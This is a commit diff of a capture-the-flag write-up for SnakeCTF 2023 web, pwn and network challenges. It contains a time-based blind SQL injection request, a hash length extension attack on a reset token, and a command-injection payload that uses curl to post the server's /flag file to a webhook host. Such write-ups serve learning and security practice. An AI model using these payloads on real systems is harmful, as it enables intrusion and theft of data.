Skip to content

Commit

Permalink
snakectf-23: fixed typos in web writeups
Browse files Browse the repository at this point in the history
  • Loading branch information
beryxz committed Dec 12, 2023
1 parent b276c8e commit f63346c
Showing 1 changed file with 61 additions and 59 deletions.
120 changes: 61 additions & 59 deletions _posts/2023-12-10-SnakeCTF.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ ctf_categories:
> I love my smart fridge so much.<br><br>
> https://smartest-fridge.snakectf.org
In this warmup challenge upon entering the site there's an error message telling us that we are not a fridge! (_I sure hope we are not_)
Visiting the site of this warmup challenge there's an error message telling us that we are not a fridge! (_I sure hope we are not_)

![fridge](/assets/img/SnakeCTF_2023/web_fridge.gif)

Expand Down Expand Up @@ -63,9 +63,9 @@ content-type: text/html; charset=UTF-8
> https://springbrut.snakectf.org<br><br>
> Attachment: web_springbrut.tar
This challenge is written in Java using the Spring Framework. It apparently contains just an admin login form and a bot that authenticates every few seconds and retrieves the flag.
This challenge is written in Java using the Spring Framework. It apparently contains just an admin login form and a bot that authenticates every few seconds and performs some kind of healthcheck.

Let's look at the source; the app only contains the `/login` route and a `/auth/flag` route. This last one prints the flag only after authentication.
Let's look at the source; the app only contains the `/login` and `/auth/flag` routes. The `/auth/flag` route is the target as it prints the flag, but only if authenticated.

```java:AuthController.java
@Controller
Expand All @@ -92,7 +92,7 @@ public class AuthController {
}
```

There isn't any vulnerability here; but there's something interesting in the source of the client-side website:
There isn't any vulnerability on the server side; but there's something interesting in the source of the client-side website:

```js:worker.js
const setMetric = (name) => {
Expand All @@ -114,7 +114,7 @@ The app might be using the "Spring Actuator" module to gather metrics.
```

It is indeed doing so, and furthermore it has enabled all the available endpoints; even some that maybe shouldn't be public...
It is indeed doing so, and furthermore it has enabled all the available endpoints; even some that _maybe_ shouldn't be exposed to the public...

```ini:application.properties
management.endpoints.web.exposure.include=*
Expand Down Expand Up @@ -152,7 +152,7 @@ Content-Length: 54594327

In the dump it's possible to find the username/password credentials: `username=admin&password=DGcZvIYwahxgqIBJyOw7Tk2WVwLKFZ4b`.

After logging in, it's just a matter of calling `/auth/flag` et voila!
After logging in, it's just a matter of calling `/auth/flag` et voilà!

🏁 _snakeCTF{N0\_m3morY\_L3akS???}_{:.spoiler}

Expand All @@ -162,15 +162,15 @@ After logging in, it's just a matter of calling `/auth/flag` et voila!
> https://phpotato.snakectf.org<br><br>
> Attachment: web_phpotato.tar
Note: After solving the challenge the author confirmed us that our solution was unintended. Being the challenge in PHP, and considering the unintended solution made use of one of the many quirks PHP has, this prompts for a PHP meme.
Note: After solving the challenge the author confirmed to us that our solution was unintended. Given that the unintended solution made use of one of the many quirks that PHP has, a PHP meme is more than necessary.

![php being php](/assets/img/SnakeCTF_2023/phpotato-php.jpg)

Anyway, the app consists of an intricated system of lambda functions and event-based hooks that allow users to create and execute some pipelines made of instructions.
Anyway, the app consists of an intricated system of lambda functions and event-based hooks that allow users to create and execute pipelines made of instructions.

Actually, only the admin user is allowed to create and execute these pipelines; so, first step: get admin access.
More precisly, only the admin user is allowed to create and execute these pipelines. So, first step: get admin access.

The app uses a mysql database and in the codebase there are many raw queries. One of these was injectable:
The app uses a MySQL database that is queried by the backend using many raw queries. One of these queries is injectable:

```php:home.php
$handle_get = fn(&$mysqli, &$account_numbers) =>
Expand All @@ -190,7 +190,9 @@ $handle_get = fn(&$mysqli, &$account_numbers) =>
);
```

We need to find a way to control the `sort` query parameter; as the app rewrites the URLs to make the pretty, let's first understand how it does so.
Based on this, we need to find a way to control the `sort` query parameter to be able to inject our payloads.

Let's first understand how the app rewrites the URLs to make them pretty.

```ini:.htaccess
php_flag register_globals off
Expand All @@ -214,9 +216,9 @@ RewriteRule ^(home|admin)/p-([^/]+)/sort-(asc|desc)/limit-([^/]+)/?$ /index.p
RewriteRule ^(home|login|register|admin)\.php$ - [NC,F,L]
```

So it actually possible to control the `sort` parameter using the full URL as in: `/index.php?page=home&sort=PAYLOAD`
So, it's actually possible to control the `sort` parameter using the full URL (`/index.php?page=home&sort=PAYLOAD`) instead of the short one.

Given the injection context we opted to do a blind time-based injection to recover the `admin` password in the `users` table.
To recover the `admin` password in the `users` table a time-based blind injection seemed the most reasonable.

```sql:schema.sql
Expand All @@ -232,30 +234,28 @@ INSERT INTO users(id, username, password, is_admin) VALUES (1, 'admin','REDACTED
```

Based on the DB schema, the final injection was:
Therefore, based on the schema of the databse, the final injection was:

```http
GET /index.php?page=home&sort=AND+(SELECT+1+FROM+users+WHERE+username+%3d+'admin'+AND+HEX(password)+LIKE+'7734%25'+AND+SLEEP(1)) HTTP/2
Host: phpotato.snakectf.org
```

After scripting a bit we recovered the admin password: `w4GNskGHWrfmodOhtc04dphIttnBhEcT`
After scripting a bit, the admin password is `w4GNskGHWrfmodOhtc04dphIttnBhEcT`

With the admin credentials we can access the pipeline creation process
With the admin credentials we can access the pipeline creation process at `/admin`

![pipeline-creation](/assets/img/SnakeCTF_2023/phpotato-pipeline-admin.png)

Now, we'll only show how to get to our solution, not the actual intended one.

Here are the most important snippets from the source code:

To start off, the flag is defined globally as `FLAG`
First, the flag is defined globally as `FLAG`

```php:misc/config.php
$define_flag = fn() => define('FLAG', getenv('FLAG'));
```

Second of all, pipelines are first created with a request, and then are processed with another one. After creating a pipeline, this is the lambda function that handles requests to process them:
Second of all, pipelines are created with a request, and then processed with another one. After creating a pipeline, this is the lambda function that handles the processing part:

{:.linenumber}
```php:pages/numbers.php
Expand All @@ -275,9 +275,9 @@ $handle_post_process = fn(&$mysqli) =>
) || header('Refresh:0') || exit();
```

The only important parts are lines 8-11, as `$id`, `$num`, `$pipeline` are user-controlled and are then reflected on the page.
The lines 8-11 are the most important as the variables `$id`, `$num` and `$pipeline` are user-controlled, and are reflected on the page.

Line 10 is especially interesting as it calls `$parse_number`:
Line 10 is especially interesting as it calls the `$parse_number` lambda:

```php:misc/pipeline.php
$parse_number = fn($num) =>
Expand All @@ -293,16 +293,16 @@ $parse_number = fn($num) =>
);
```

If `$num` is a number, it is displayed as such, otherwise the global variable with such name is returned. The only limitation is that `$num` cannot be the same as `FLAG`.
If `$num` is a number, it is displayed as such, otherwise, the global variable the given name is returned. The only limitation is that our input, `$num`, can't be the string `FLAG`.

I shall remind you:
Let's recap:

- `$num` is in our control.
- the flag is the global constant called `FLAG`.

What it's missing? Only this last php quick. It is true that we can't use `FLAG`, but what if it had some other way to be referenced?
What it's missing? Only one last php quirk. The `FLAG` string is not allowed, okay, but what if the global definition had some other way to be referenced?

It turns out that the [constant function](https://www.php.net/manual/en/function.constant.php) also supports classes/enum constants (`Foo::Bar`), and namespaces (`/NameSpace/Foo::Bar`). Therefore we can actually set `$num` as `/FLAG` and after processing the pipeline, the flag is shown to everyone on the board.
It turns out that the [constant function](https://www.php.net/manual/en/function.constant.php) also supports classes/enum constants (`Foo::Bar`), and namespaces (`/NameSpace/Foo::Bar`). Therefore, `$num` can be set as `/FLAG` and after processing the pipeline, the flag is set as the pipeline number and shown to everyone on the board.

🏁 _snakeCTF{w4it\_th15\_IsN7\_!\_krYpt0}_{:.spoiler}

Expand All @@ -312,7 +312,7 @@ It turns out that the [constant function](https://www.php.net/manual/en/function
> https://kattinger.snakectf.org<br><br>
> Attachment: web_kattinger.tar
Unfortunately, we solved this challenge shorty after the end of the CTF; still, it was really interesting so we'll include our writeup of this one too.
Unfortunately, we solved this challenge shortly after the end of the CTF. It was really interesting though; so we'll include our writeup of this one too.

This app was written in ruby using RoR and a few other modules. To get a rough idea:

Expand Down Expand Up @@ -342,19 +342,19 @@ gem 'tzinfo-data'
```

After registering with a random user, this is the homepage:
After registering with a random user this is the homepage:

![homepage](/assets/img/SnakeCTF_2023/kattinger-homepage.png)

A carousel of 🐱 cats photos 🐱 greets us!

As the codebase is quite extended and complex, we'll skip the overview as done with previous challenges. Instead, let's go trough the steps to solve this challenge.
As the codebase is quite extended and complex, we'll skip the overview and go directly to the steps to solve this challenge:

1. Find username of an user with admin privileges
2. Exploit `reset_submit` functionality using an Hash Length Extension attack to retrieve the admin account password
3. Exploit a command injection in the cat image preview feature to read the `/flag` file
2. Exploit `reset_submit` functionality, using a Hash Length Extension attack, to retrieve the admin account password
3. Exploit a command injection in the cats images preview feature to read the `/flag` file

First, the most important part is that `reset_submit` is vulnerable.
First, the most relevant part is that `reset_submit` is vulnerable.

{:.linenumber}
```rb:/app/controllers/users_controller.rb
Expand Down Expand Up @@ -393,13 +393,13 @@ def reset_submit
```

Going bottom-up, at line 28 the password of the account with the username specified by us is printed out (Warning bell 1).
Going bottom-up, at line 28 the password of the account specified by us is printed out.

To get there, the user must exist and the `check()` function must return `True`.

It should now be clear why in the sourcecode provided the admin username was REDACTED. Later we'll check how to get this username, for now, let's finish analyzing this function at hand.
It should now be clear why in the sourcecode provided the admin username was REDACTED. Later on we'll check how to get this username, for now, let's finish analyzing the function at hand.

`check()` make sure that the reset_token generated for the account is the same as the one provided by us. Ideally, this token would be unique and should be sent to us by email to let us confirm our identity before revealing our password.
`check()` makes sure that the reset_token generated for the account is the same as the one provided by the user. Theoretically, this token would be unique and would only be sent to the user by email. Allowing the user to later confirm their identity before resetting their password.

```rb:/app/helpers/users_helper.rb
module UsersHelper
Expand All @@ -421,17 +421,17 @@ module UsersHelper
end
```

`cipher()` is called somewhere else to set an account reset_token, `check()` is the one seen in the previous snippet.
Here, `cipher()` is called somewhere else to initialize an account reset_token; `check()` is the one seen in the previous snippet.

This is clearly vulnerable to an [hash length extension](https://github.com/iagox86/hash_extender) attack if you have ever seen one.
This is clearly vulnerable to an [hash length extension](https://github.com/iagox86/hash_extender) attack, if you have ever seen one.

Furthermore, note how in `users_controller.rb` at line 15 and 27, only the last 8 characters of our input are used, but, for checking the token the whole line is used (line 21).

Therefore an hash length extension attack seems possible as even if our input string changes (look at the repo linked above) only the last 8 chars are used, and we can control those.
A hash length extension attack seems possible. Even if our input string changes (look at the repo linked above) only the last 8 chars are used, and we can control those.

The last piece thing necessary would be that the admin username has actually length 8, to make things possible and easier. Spoiler: that's exactly right!
Our last step is to hope that the admin username has length 8. Spoiler: that's exactly right!

So, let's find this username. This is quite straight-forward as the view for the route `/users/:id` reveals the username and whether the user is an admin or not.
So, let's find this admin username. This is quite straight-forward as route `/users/:id` view reveals the username and whether that user is an admin.

```html:/app/views/users/show.html.erb
<% content_for :content do %>
Expand All @@ -454,11 +454,11 @@ So, let's find this username. This is quite straight-forward as the view for the
```

The user with id `76` has the username, `4dm1n_54`, and is an admin.
The users IDs are incremental, so, after a quick scan we found the admin user at the id `76` with the username `4dm1n_54`.

Good, let's register an user `asdfff`, call `/reset` with both the admin username and ours to generate the reset_token, and let's perform the Hash Extension attack:
Good, let's register a user `asdfff`, generate the reset_token calling `/reset` with both the admin username and ours, and let's perform this Hash Length Extension attack:

1) Get our reset_token in the Account page: `6bf6afb6be14fdf510757661524d0e9017c6907f606ffb7cd593e9dd831eacf6`
1) Get `asdfff` reset_token from the Account page: `6bf6afb6be14fdf510757661524d0e9017c6907f606ffb7cd593e9dd831eacf6`

2) extend it: (the length can be seen in the docker-compose.yaml)

Expand All @@ -470,7 +470,7 @@ New signature: 612f6c80243651c32c1683145e3be84efe31a2338fda0ca11ce72b23f9b6834c
New string: 617364666666800000000000000000000000000000000000000000000000013034646d316e5f3534
```

3) Send the reset request:
3) Send a reset request for the admin user:

```http
POST /reset_submit HTTP/2
Expand All @@ -492,9 +492,9 @@ Content-Type: text/html; charset=utf-8
```

With the credentials `4dm1n_54`:`WOQpcmueCgBuXkMHQeJd0f8XVp0cO1Px`, we can now log-in as admin.
With these credentials, `4dm1n_54`:`WOQpcmueCgBuXkMHQeJd0f8XVp0cO1Px`, we can now log-in as an admin.

Let's exploit the image preview feature to get the flag:
Finally, let's exploit the images preview feature and get the flag.

```rb:app/helpers/cats_helper.rb
module CatsHelper
Expand Down Expand Up @@ -529,16 +529,18 @@ module CatsHelper
end
```

From trial and error, or by mostly looking at the output of our local instance, we see that the `image_path` is used with CURL library and is actually vulnerable to command injection.

`image_path` is the location that can be specified when adding a new cat to the collection. From the output we see that the actual command executed underneath by the library is the following:
Here, `image_path` is the location specified by the user when adding a new cat to the collection. From the app console output we saw that the actual command executed underneath by the library is the following:

`curl --user-agent "Googlebot/2.1 (+http://www.google.com/bot.html)" --location --compressed --silent "OUR_IMAGE_PATH" --output "/tmp/curl/curl_0.6715324541398725_0.13914753312651085.jpg"`

Let's change the location with the following and ask for a new preview:
Through some trial and error, looking at the console output, we noted that the CURL library call is vulnerable to command injection.

Let's change the cat's image location with the following one:

`https://webhook.site/YOUR_UUID/start" && curl -X POST -H "Content-Type: multipart/form-data" -F "data=@/flag" https://webhook.site/YOUR_UUID/flag && cat -- "`

Asking for a preview of this image leads to the server sending us the flag at the specified webhook.

🏁 _snakeCTF{I\_th0ugh7\_it\_w4s\_4\_k1tten}_{:.spoiler}

# Pwn
Expand Down Expand Up @@ -841,7 +843,7 @@ Having 4096 IPs, we used an algorithm that generated a hilbert curve of order 6

Then it was a matter of parsing the nmap data and writing a plotter that actually worked.

It's seems trivial explained like this, but it actually took as quite a few hours (👀 and the OpenAI's power 👀) to get this right.
It's seems trivial explained like this, but it actually took us quite a few hours (👀 and the OpenAI's power 👀) to get this right.

So, here's the final script:

Expand Down Expand Up @@ -919,7 +921,7 @@ assert len(values) == 4096
draw_hilbert_pattern(np.array(values), 6)
```

And the resulting image:
and the resulting qr-code image:

![qr-code](/assets/img/SnakeCTF_2023/network-ping2-qr.png)

Expand Down Expand Up @@ -949,7 +951,7 @@ This explained the difference in the payload size: keyboards send 8-bytes ones a
| 4th | Unknown? |
{:.inner-borders}

Instead of rolling our own parser we tweaked [an existing one](https://github.com/WangYihang/USB-Mouse-Pcap-Visualizer) to make it compatible with newer pyshark dissectors and add some much needed logging:
Instead of rolling our own parser we tweaked [an existing one](https://github.com/WangYihang/USB-Mouse-Pcap-Visualizer) to make it compatible with newer pyshark dissectors and add some much needed logging:

```diff
diff --git a/usb-mouse-pcap-visualizer.py b/usb-mouse-pcap-visualizer.py
Expand All @@ -959,15 +961,15 @@ index b1615f6..e60d84e 100644
@@ -32,6 +32,9 @@ class MouseEmulator:
def set_right_button(self, state):
self.right_button_holding = state

+ def snapshot_str(self):
+ return f"X{self.x} Y{self.y} LMB:{'Y' if self.left_button_holding else 'N'} RMB:{'Y' if self.right_button_holding else 'N'}"
+
def snapshot(self):
return (self.x, self.y, self.left_button_holding, self.right_button_holding)

@@ -46,9 +49,9 @@ class MouseTracer:

def load_pcap(filepath):
cap = pyshark.FileCapture(filepath)
- for packet in cap:
Expand All @@ -976,11 +978,11 @@ index b1615f6..e60d84e 100644
+ for i, packet in enumerate(cap):
+ if hasattr(packet, 'usb') and hasattr(packet, 'DATA') and hasattr(packet.DATA, 'usbhid_data'):
+ yield (i, packet.DATA.usbhid_data)


def parse_packet(payload):
@@ -71,11 +74,12 @@ def parse_packet(payload):

def snapshot_mouse(filepath):
mouse_emulator = MouseEmulator()
- for i in load_pcap(filepath):
Expand Down

0 comments on commit f63346c

Please sign in to comment.